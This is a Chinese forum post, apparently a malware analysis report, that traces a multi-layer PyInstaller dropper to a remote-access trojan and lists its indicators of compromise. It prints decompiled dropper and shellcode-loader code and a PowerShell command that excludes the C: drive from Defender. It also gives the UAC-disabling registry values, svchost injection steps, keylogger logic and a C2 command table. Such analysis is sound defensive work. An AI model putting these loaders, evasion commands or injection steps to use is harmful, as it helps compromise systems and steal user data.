社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 11阅读
  • 0回复

[分享]多层嵌套的Python远控木马,从伪装到上线的完整链条

楼层直达
z3960 
级别: FLY版主
发帖
874163
飞翔币
132484
威望
325957
飞扬币
3993379
信誉值
8



uzusy28.exe 恶意样本分析报告



基本信息

[tr=rgb(246, 248, 250)][td]文件大小[tr=rgb(246, 248, 250)][td]打包方式[tr=rgb(246, 248, 250)][td]分析日期
项目内容
原始文件名uzusy28.exe
21 MB
文件类型PE32 executable (GUI) Intel 80386
PyInstaller 3.x / Python 3.10
SHA13b0d4fd6968458c086e4e173050213fcfd05c4e5
2026-04-17



执行摘要


近期捕获的uzusy28.exe 是一个经过多层嵌套的恶意载荷投放器,通过 PyInstaller 打包 Python 脚本,经过 7 层嵌套后最终释放并执行一个功能完整的远控木马(RAT)。攻击链涉及合法软件伪装、Python 标准库篡改、Donut shellcode 加载、进程注入、系统持久化等多种技术。是一个不错的分析对象。

攻击链总览



复制代码 隐藏代码L1: uzusy28.exe (PyInstaller 打包, 21MB)├── L2: oo.pyc (入口脚本)    └── L3: dd.pyc (包含加密 7z, 密码 "2026")         └── L4: wefault.exe (外层, 合法 mgodb 改名)              └── L5: app-xxx/wefault.exe (内层, pythonw.exe)                   └── L6: python310.zip/encodings/__init__.pyc (被篡改)                        └── L7: shellcode.bin (Donut Shellcode #1)                             └── L8: fsch.dll (投放器/loader, 导出 f)                                  └── L9: base32.pyc shellcode.bin2 (Donut Shellcode #2)                                       └── L10: RAT DLL (远控主体, 导出 run)


第一层:uzusy28.exe



基本信息

  • 大小: 21 MB
  • 类型: PyInstaller 打包的 Python 3.12 可执行文件(外层)
  • 行为: PyInstaller 自解压到临时目录,执行入口脚本 oo.pyc


分析方法


可以参考我之前的帖子,直接在线解包,也可以使用 pyinstxtractor 解包,提取内部 .pyc 文件。


第二层:oo.pyc(入口脚本)



基本信息

  • 来源: PyInstaller 解包后的入口点
  • 行为: 反编译后确认为恶意入口脚本
  • 功能: 调用 dd.pyc 模块,触发后续攻击链


分析方法


由于使用的是python3.12打包,必须使用pylingual,直接反编译可以获得结果。从反编译的代码中可以看出来从dd模块中导入了data,然后通过7z解压到可疑目录。 复制代码 隐藏代码import ioimport py7zrimport ctypesfrom dd import datadef decompress_7z_from_memory():    source_data = data    memory_file = io.BytesIO(source_data)    password = '2026'    target_dir = 'C:/programdata/python'    with py7zr.SevenZipFile(memory_file, mode='r', password=password) as archive:        archive.extractall(path=target_dir)                except py7zr.exceptions.PasswordRequired:                    print('错误:该压缩包需要密码。')                    except py7zr.exceptions.Bad7zFile:                        print('错误:不是有效的 7z 文件或密码错误。')                        except Exception as e:                                print(f'发生意外错误: {e}')if __name__ == '__main__':    hwnd = ctypes.windll.kernel32.GetConsoleWindow()    ctypes.windll.user32.ShowWindow(hwnd, 0)    decompress_7z_from_memory()    try:        ctypes.windll.shell32.ShellExecuteW(None, 'open', 'C:\programdata\python\wefault.exe', '', None, 1)    except:        # return None        pass


第三层:dd.pyc(加密压缩包释放器)



基本信息

  • 来源: PYZ 压缩包内提取的模块
  • 行为: 内嵌一个 7z 压缩包,密码为 2026,见上面行为
  • 功能: 解压并释放后续载荷到目标路径



第四层:wefault.exe(外层 — 合法软件伪装)



基本信息

  • 原始软件: 合法的 MongoDB 数据库工具(mgodb)
  • 伪装手段: 改名为 wefault.exe,伪装成系统相关程序
  • 功能: 作为启动器,运行 app-xxx 目录下的同名文件 wefault.exe(内层)




分析方法


通过数字签名知道这个是合法的工具,被利用了,通过ida反编译这个工具知道他的具体行为是启动app-xxx目录下的同名应用,这个启动器没有进行任何校验,这也给攻击者利用的空间




第五层:wefault.exe(内层 — pythonw.exe)



基本信息

  • 实质: Python 3.10 的 pythonw.exe(无控制台窗口的 Python 解释器)
  • 行为: 启动后加载 python310.zip 中的 Python 标准库
  • 关键点: 标准库 encodings 模块已被攻击者篡改


分析方法


最初也通过ida对这个文件进行分析,但最终发现这个文件没有问题,问题在下面,攻击者添加了一个恶意的pyc文件,实现自动加载恶意载荷。


第六层:encodings/init.pyc(被篡改的 Python 标准库)



基本信息

  • 来源: python310.zip 内的 encodings/__init__.pyc
  • 篡改方式: 在标准 encodings 模块中嵌入了恶意 shellcode 和加载逻辑
  • 行为: Python 初始化时自动加载 encodings 模块,恶意代码随系统启动自动执行
  • 隐蔽性: 利用 Python 标准库加载机制,不在主脚本中出现任何可疑代码

注意这个大小和修改日期


触发方式


Python 解释器启动时会自动 import encodings 模块,因此恶意代码在 Python 初始化阶段即被执行,无需显式调用。

分析方法


下面是反编译后的代码,因为是python3.10,多种反编译都可以。从反编译的代码中能看到清晰的恶意行为,通过创建可执行内存映射区域准备加载并执行一段Shellcode,属于典型的无文件内存注入技术框架。 复制代码 隐藏代码import ctypesfrom ctypes import wintypesshellcode = b'xxx'INVALID_HANDLE_VALUE = -1PAGE_EXECUTE_READWRITE = 64FILE_MAP_WRITE = 2FILE_MAP_EXECUTE = 32MEM_COMMIT = 4096MEM_RESERVE = 8192kernel32 = ctypes.windll.kernel32CreateFileMapping = kernel32.CreateFileMappingWCreateFileMapping.argtypes = [    wintypes.HANDLE,    ctypes.c_void_p,    wintypes.DWORD,    wintypes.DWORD,    wintypes.DWORD,    wintypes.LPCWSTR]CreateFileMapping.restype = wintypes.HANDLEMapViewOfFile = kernel32.MapViewOfFileMapViewOfFile.argtypes = [    wintypes.HANDLE,    wintypes.DWORD,    wintypes.DWORD,    wintypes.DWORD,    ctypes.c_size_t]MapViewOfFile.restype = ctypes.c_void_pUnmapViewOfFile = kernel32.UnmapViewOfFileUnmapViewOfFile.argtypes = [    ctypes.c_void_p]UnmapViewOfFile.restype = wintypes.BOOLCloseHandle = kernel32.CloseHandleCloseHandle.argtypes = [    wintypes.HANDLE]CloseHandle.restype = wintypes.BOOLdef execute_shellcode(shellcode):    hMapObject = CreateFileMapping(INVALID_HANDLE_VALUE, None, PAGE_EXECUTE_READWRITE, 0, len(shellcode), None)    pAddress = MapViewOfFile(hMapObject, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, len(shellcode))execute_shellcode(shellcode)


第七~八层:Donut Shellcode #1 → fsch.dll



shellcode.bin 基本信息

  • 大小: 257 KB
  • 加密方式: Donut framework 的 Chaskey-CTR 加密(这个可以写一篇新的文章进行讲解,在这里不是重点)
  • 反分析: 内含 AMSI bypass、ETW bypass 等对抗机制


fsch.dll 基本信息

[tr=rgb(246, 248, 250)][td]大小[tr=rgb(246, 248, 250)][td]导出函数
项目内容
提取文件名fsch.dll
172 KB
架构AMD64 PE32+ (DLL)
f (RVA 0x176C)
编译器MSVC


fsch.dll 恶意行为详细分析



1. 提权与重启

复制代码 隐藏代码ShellExecuteExA("runas") → 非管理员时请求管理员权限重新启动自身



2. 创建伪装目录与快捷方式

  • 创建目录: C:ProgramDataTencentTencent(伪装腾讯软件)
  • 创建快捷方式: KOOK.lnk → 指向 wefault.exe(伪装 KOOK 聊天软件)

[font=-apple-system, BlinkMacSystemFont, &quot]


3. 反杀软检测

  • 使用 CreateToolhelp32Snapshot 遍历进程列表
  • 查找 360tray.exe(360 安全卫士)
  • 根据检测结果调整后续行为




4. 关闭 Windows Defender

复制代码 隐藏代码powershell Add-MpPreference -ExclusionPath 'C:'
将 C: 整个盘符加入 Defender 排除路径。



5. 禁用 UAC(用户账户控制)


修改注册表键值:[tr=rgb(246, 248, 250)][td]同上
注册表路径值名设为
HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemEnableLUA0
ConsentPromptBehaviorAdmin0
同上PromptOnSecureDesktop0




6. 修改 Startup 注册表


将 Startup 文件夹指向攻击者控制的目录: 复制代码 隐藏代码HKCUSOFTWAREMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup  → C:ProgramDataTencentTencent



7. 创建计划任务持久化

  • 任务名称: MicrosoftMicrosoftUpdate
  • 触发条件: 系统启动 + 用户登录
  • 执行目标: C:ProgramDataPythonwefault.exe
  • 创建方式: 通过 RPC pipeatsvc(直接调用任务计划程序 RPC 接口)




8. 加载最终载荷


到这里链路就是完整的了,最开始一直疑惑不知道谁调用了外层的shellcode,原来这里调用了。 复制代码 隐藏代码sub_180001344:  CreateFileW("C:ProgramDataPythonbase32.pyc")  → CreateFileMappingW(PAGE_EXECUTE_READWRITE)  → MapViewOfFile  → 读取文件内容到可执行内存  → 跳转执行 (base32.pyc 即为第二层 shellcode)



关键辅助函数

[tr=rgb(246, 248, 250)][td]sub_180001280[tr=rgb(246, 248, 250)][td]sub_180001560[tr=rgb(246, 248, 250)][td]sub_180001344[tr=rgb(246, 248, 250)][td]sub_18000105C
函数地址功能
sub_18000110C检测 360tray.exe 进程
检查持久化是否已设置
sub_180001428通过 RPC 创建计划任务
禁用 UAC(修改 3 个注册表值)
sub_18000163CPowerShell 关闭 Defender
读取 base32.pyc 到可执行内存并执行
sub_1800011A8创建 KOOK.lnk 快捷方式
COM 接口操作(防火墙相关)



第九~十层:Donut Shellcode #2 → RAT DLL



shellcode.bin2 基本信息

  • 来源: base32.pyc(由 fsch.dll 通过 sub_180001344 加载到 RWX 内存执行)
  • 大小: 373 KB(Donut 实例 292 KB)
  • 加密方式: Donut Chaskey-CTR(不同密钥)
  • 在磁盘上的路径: C:ProgramDataPythonbase32.pyc


RAT DLL 基本信息

[tr=rgb(246, 248, 250)][td]大小[tr=rgb(246, 248, 250)][td]导出函数[tr=rgb(246, 248, 250)][td]时间戳
项目内容
提取文件名rat.dll
288 KB
架构AMD64 PE32+ (DLL)
run (RVA 0x11800)
编译器MSVC (含 Dinkumware STL, C++ 异常处理)
0x69BFC7DE


类结构 (RTTI)

[tr=rgb(246, 248, 250)][td]CLoginManager[tr=rgb(246, 248, 250)][td]CUdpSocket[tr=rgb(246, 248, 250)][td]CBuffer
类名功能
CManager主管理器,命令调度中心
登录管理,会话建立与认证
CTcpSocketTCP 传输通道
UDP/KCP 传输通道
CArqSessionT<CUdpSocket>基于 KCP 的可靠 UDP 传输会话
数据缓冲区
CImage / Gdiplus Bitmap屏幕截图处理


导出函数 run 分析 (RVA 0x11800)

  1. 调用 GetComputerNameW 获取计算机名
  2. 创建互斥量 GlobalMutex_<hostname> 防止重复运行
  3. 检测火绒杀软: GetFileAttributesA("C:Program FilesHuorongSysdiagbinHipsDaemon.exe")
  4. 通过 DNS-over-HTTPS 解析 C2 地址: https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A
    • 解析成功: 使用返回的 IP
    • 解析失败: 回退到硬编码地址 43.154.90.28
  • 创建主线程 StartAddress




  • 主线程 StartAddress (0x180011070)

    1. 提权:
      • OpenProcessToken + AdjustTokenPrivileges → 获取 SeDebugPrivilege
      • NtSetInformationProcess(ProcessBreakOnTermination=1) → 防止进程被任务管理器终止
  • 初始化延迟: 从配置读取延迟秒数
  • 可选线程:
    • sub_180009790: 进程守护线程(监控注入的 svchost.exe,若退出则重新注入)
    • sub_180009190: SeDebugPrivilege 提权 + NtSetInformationProcess
  • 初始化传输对象:
    • CTcpSocket (0x18 字节): TCP 传输通道
    • CUdpSocket (0x368 字节): KCP/UDP 传输通道
  • 连接循环:
    • 交替使用两组 C2 配置
    • 每 200 次尝试后切换到备用地址
    • 连接成功后进入命令处理循环


  • C2 通信协议

    [tr=rgb(246, 248, 250)][td]备用 C2 解析[tr=rgb(246, 248, 250)][td]传输协议[tr=rgb(246, 248, 250)][td]心跳机制
    项目详情
    主 C2 地址43.154.90.28(腾讯云)
    DNS-over-HTTPS: https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A(阿里 DNS 223.5.5.5)
    User-AgentDNS-Agent
    TCP(模式 1)或 KCP/UDP(模式 0),运行时可切换
    备用配置格式p1/o1/t1、p2/o2/t2、p3/o3/t3 三组备份 C2(p=地址, o=端口, t=传输类型)
    命令 ID 0x09,发送字节 0x15
    上线数据4732 字节系统信息


    上线信标数据 (sub_180006F60)


    连接 C2 成功后,收集并发送以下系统信息(共 4732 字节):[tr=rgb(246, 248, 250)][td]空闲时间[tr=rgb(246, 248, 250)][td]硬件信息[tr=rgb(246, 248, 250)][td]磁盘/内存[tr=rgb(246, 248, 250)][td]前台窗口标题[tr=rgb(246, 248, 250)][td]当前进程路径[tr=rgb(246, 248, 250)][td]区域设置[tr=rgb(246, 248, 250)][td]安装时间
    数据收集方式
    IP 地址列表gethostname + gethostbyname + inet_ntoa
    GetLastInputInfo + GetTickCount
    主机名gethostname
    GetCurrentHwProfileW (GUID)
    CPU 核心数GetNativeSystemInfo
    GetDiskFreeSpaceExW + GlobalMemoryStatusEx
    GPU/显示器DXGI CreateDXGIFactory 枚举适配器和分辨率
    GetForegroundWindow + GetWindowTextW
    OS 架构GetNativeSystemInfo (x86/x64)
    GetProcessImageFileNameW
    系统目录GetSystemDirectoryW
    GetLocaleInfoW
    版本号硬编码 "1.0"
    time64 + tick count 计算


    C2 命令表 (sub_18000D390)

    [tr=rgb(246, 248, 250)][td]0x01[tr=rgb(246, 248, 250)][td]0x03[tr=rgb(246, 248, 250)][td]0x05[tr=rgb(246, 248, 250)][td]0x07[tr=rgb(246, 248, 250)][td]0x09[tr=rgb(246, 248, 250)][td]0x0B[tr=rgb(246, 248, 250)][td]0x0D[tr=rgb(246, 248, 250)][td]0x0F[tr=rgb(246, 248, 250)][td]0x11[tr=rgb(246, 248, 250)][td]0x13[tr=rgb(246, 248, 250)][td]0x65[tr=rgb(246, 248, 250)][td]0xCA
    命令 ID功能详细说明
    0x00插件管理按名称匹配加载/卸载/更新模块,通过名称比对查找已加载插件
    安装插件接收插件数据,存入注册表 HKCUConsole1,启动插件执行线程
    0x02断开重连销毁当前 socket 连接,触发重连循环
    交互会话开启交互式会话模式
    0x04屏幕截图通过 DXGI + GDI+ 截取屏幕,返回图像数据
    文件管理远程文件浏览器,支持浏览/上传/下载/删除等操作
    0x06交互终端启动命令行 shell,支持实时交互
    设置标签设置 GROUP 或 REMARK 标识(区分受害者)
    0x08远程命令执行执行指定命令
    心跳返回字节 0x15
    0x0A截屏(带参数)指定宽高的屏幕截图
    清除事件日志清除 Application、Security、System 三类 Windows 事件日志
    0x0C触发异常调用 TopLevelExceptionFilter 测试异常处理
    退出进程ExitProcess(0)
    0x0E注销ExitWindowsEx(EWX_LOGOFF)
    重启ExitWindowsEx(EWX_REBOOT)
    0x10关机ExitWindowsEx(EWX_SHUTDOWN)
    切换传输模式TCP ↔ UDP/KCP 模式切换
    0x12更新 C2 配置解析 p1/o1/t1 ~ p3/o3/t3 三组备份地址,存入注册表 HKCUConsoleIpDate
    反向连接启动新的反向连接会话到指定地址
    0x64存储标记写入 HKCUConsoleIpDatespecial
    删除标记删除 IpDatespecial 注册表值
    0xC9交互模式切换开启/关闭交互式会话
    发送确认发送确认字节 (0xCB)


    键盘记录模块 (sub_1800119B0 + sub_180011DC0)



    初始化 (sub_1800119B0)

    1. 获取 %LOCALAPPDATA% 路径
    2. 创建日志文件: %LOCALAPPDATA%DisplaySessionContainers.log
    3. 创建互斥量保护日志文件访问
    4. 检查日志文件大小,超过 50MB (0x3200000) 则删除
    5. 初始化 DirectInput8 (DirectX 输入系统)
    6. 设置键盘设备: 60 键缓冲区,数据格式 c_dfDIKeyboard
    7. 设置合作级别: DISCL_BACKGROUND | DISCL_NONEXCLUSIVE(后台静默记录)
    8. 获取 CapsLock 状态 (GetKeyState(VK_CAPITAL=20))


    主记录循环 (sub_180011DC0)

    复制代码 隐藏代码while (true):    Sleep(1)    // 剪贴板监控 (每 1.5 秒)    if GetTickCount() - last_check > 1500ms:        OpenClipboard(0)        data = GetClipboardData(CF_UNICODETEXT)        if data 变化:            格式化并发送剪贴板内容到 C2        CloseClipboard()    // 键盘状态轮询    DirectInput.GetDeviceData(24 bytes per event)    解析 102 个虚拟键码    查表转换 scancode → 字符(含 Shift/CapsLock 状态处理)    累积按键到缓冲区    // 发送按键数据    if 缓冲区非空:        发送到 C2        清空缓冲区

    键盘映射表

    • 使用 102 键映射表,每个条目 62 字节(包含基础键、Shift 键、CapsLock 键的字符)
    • 特殊处理: Shift 键 (scancode 41/53)、CapsLock 键 (scancode 57)
    • 日志文件: %LOCALAPPDATA%DisplaySessionContainers.log


    进程注入与守护 (sub_1800093D0)



    svchost.exe 注入流程

    复制代码 隐藏代码1. GetSystemDirectoryA → 获取系统目录 (截取前3字符,如 "C:")2. 构造路径: "<盘符>WindowsSystem32svchost.exe"3. CreateProcessA(suspended, CREATE_SUSPENDED|CREATE_NO_WINDOW)4. OpenProcess(PROCESS_ALL_ACCESS)5. 准备注入数据 (v17, 304 bytes):   - [0] GetProcAddress(WinExec)          → 执行程序   - [1] GetProcAddress(OpenProcess)      → 打开进程   - [2] GetProcAddress(ExitProcess)      → 退出进程   - [3] GetProcAddress(WaitForSingleObject) → 等待   - [4] GetCurrentProcessId()            → 主进程 PID   - [6] GetModuleFileNameA()             → 主程序完整路径6. VirtualAllocEx(0x130, RWX) → 在 svchost 中分配内存7. WriteProcessMemory(注入数据)8. VirtualProtectEx(PAGE_READONLY) → 设为只读保护9. VirtualAllocEx(0x1000, RWX) → 分配代码段内存10. WriteProcessMemory(shellcode: sub_1800092A0)11. VirtualProtectEx(PAGE_READONLY) → 保护代码段12. CreateRemoteThread(entry=shellcode, param=注入数据, CREATE_SUSPENDED)13. Sleep(60秒)14. VirtualProtectEx(RWX) → 解除保护15. ResumeThread() → 启动远程线程

    注入的 shellcode 逻辑 (sub_1800092A0)

    复制代码 隐藏代码1. 从参数中读取函数指针:   - WinExec    (偏移 0)   - OpenProcess (偏移 8)   - ExitProcess (偏移 16)   - WaitForSingleObject (偏移 24)2. OpenProcess(PROCESS_ALL_ACCESS, FALSE, 主进程PID)   → 获取主进程句柄3. WaitForSingleObject(主进程句柄, INFINITE)   → 等待主进程退出4. WinExec(主程序路径, SW_HIDE)   → 主进程被杀后,自动重新启动恶意程序5. ExitProcess(0)   → 退出 svchost 宿主
    效果: 当用户或杀软终止恶意进程时,注入在 svchost.exe 中的代码会立即重新启动恶意程序,形成进程守护机制。

    注册表持久化

    [tr=rgb(246, 248, 250)][td]HKCUConsoleIpDatespecial
    注册表路径值名用途
    HKCUConsoleIpDate(Default)C2 通信配置(含 3 组备份地址)
    (Default)特殊标记(4 字节 DWORD)
    HKCUConsole1<插件名>存储的插件/任务数据(每个注册表值 = 一个插件实例)


    会话管理 (sub_18000CFB0)


    当收到配置更新命令或反向连接命令时:
    1. 解析配置字符串,提取 p1/o1/t1(地址/端口/类型)
    2. 根据传输类型创建 CTcpSocket(type=1) 或 CUdpSocket(type=0)
    3. 连接指定 C2 地址
    4. 创建 CManager + CLoginManager 会话
    5. 从注册表 HKCUConsole1 加载所有已保存的插件
    6. 发送上线信标
    7. 进入命令处理循环


    插件加载机制 (sub_18000CBC0)

    1. 检查是否为 onlyloadinmyself 模式(仅加载自身进程内的模块)
    2. 在目标内存中搜索 plugmark 标记
    3. 将插件数据写入标记位置
    4. 通过 sub_180010960 + sub_180010DA0 解析并执行插件
    5. 向 C2 返回执行结果



    完整攻击链时序图

    复制代码 隐藏代码[用户运行 uzusy28.exe]       │       ▼[PyInstaller 自解压到临时目录]       │       ▼[执行 oo.pyc]Python 入口脚本       │       ▼[调用 dd.pyc] ← 解压内嵌 7z (密码 "2026")       │       ▼[释放 wefault.exe (外层)] ← 合法 mgodb 改名       │       ▼[启动 app-xxx/wefault.exe (内层)]pythonw.exe       │       ▼[Python 自动加载 encodings 模块]       │       ▼[encodings/__init__.pyc 执行恶意代码]       │       ▼[Donut Shellcode #1 解密执行]       │       ▼[fsch.dll (导出 f) 执行]       │       ├── 请求管理员权限 (runas)       ├── 创建 C:ProgramDataTencentTencent 目录       ├── 创建 KOOK.lnk 快捷方式       ├── 检测 360 杀软       ├── 关闭 Windows Defender (排除 C:)       ├── 禁用 UAC (3个注册表值)       ├── 修改 Startup 注册表       ├── 创建计划任务 MicrosoftMicrosoftUpdate       │       ▼[读取 base32.pyc 到 RWX 内存并执行]       │       ▼[Donut Shellcode #2 解密执行]       │       ▼[RAT DLL (导出 run) 执行]       │       ├── 提权: SeDebugPrivilege + ProcessBreakOnTermination       ├── 检测火绒杀软 (HipsDaemon.exe)       ├── DNS-over-HTTPS 解析 C2       ├── 连接 43.154.90.28 (TCP/KCP)       ├── 发送系统信息 (4732 bytes)       ├── 等待 C2 命令       │    ├── 屏幕截图       │    ├── 键盘记录 (DirectInput8)       │    ├── 剪贴板监控       │    ├── 文件管理       │    ├── 远程命令执行       │    ├── 进程注入 (svchost.exe 守护)       │    ├── 清除事件日志       │    ├── 系统电源控制       │    └── 插件加载与管理       │       └── [持续运行,等待指令]


    IOC (入侵指标)



    文件

    [tr=rgb(246, 248, 250)][td]wefault.exe (外层)[tr=rgb(246, 248, 250)][td]C:ProgramDataPythonbase32.pyc[tr=rgb(246, 248, 250)][td]C:ProgramDataTencentTencentKOOK.lnk
    文件名/路径类型
    uzusy28.exe原始投放器
    合法软件伪装 (mgodb)
    wefault.exe (内层)pythonw.exe 伪装
    第二层 shellcode
    C:ProgramDataPythonwefault.exe恶意程序副本
    伪装快捷方式
    %LOCALAPPDATA%DisplaySessionContainers.log键盘记录日志


    网络

    [tr=rgb(246, 248, 250)][td]C2 域名[tr=rgb(246, 248, 250)][td]DoH URL[tr=rgb(246, 248, 250)][td]默认端口
    指标
    C2 IP43.154.90.28 (腾讯云)
    fachuoifachuoi.com
    DoH 服务器223.5.5.5 (阿里 DNS)
    https://223.5.5.5/resolve?name=fachuoifachuoi.com&type=A
    User-AgentDNS-Agent
    9999


    注册表

    [tr=rgb(246, 248, 250)][td]HKCUConsole[tr=rgb(246, 248, 250)][td]HKLM...PoliciesSystem[tr=rgb(246, 248, 250)][td]HKLM...PoliciesSystem
    注册表路径值名说明
    HKCUConsoleIpDateC2 配置数据
    IpDatespecial特殊标记
    HKCUConsole1(多个值)存储的插件/任务
    EnableLUA设为 0 (禁用 UAC)
    HKLM...PoliciesSystemConsentPromptBehaviorAdmin设为 0
    PromptOnSecureDesktop设为 0


    互斥量

    互斥量名称用途
    GlobalMutex_<hostname>RAT 防重复运行


    计划任务

    任务路径触发执行
    MicrosoftMicrosoftUpdate开机 + 登录C:ProgramDataPythonwefault.exe



    分析环境

    [tr=rgb(246, 248, 250)][td]动态分析
    项目详情
    静态分析IDA Pro 9.3 + MCP 插件
    x64dbg + MCP 插件
    PyInstaller 解包pyinstxtractor
    关键词: 木马
    我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。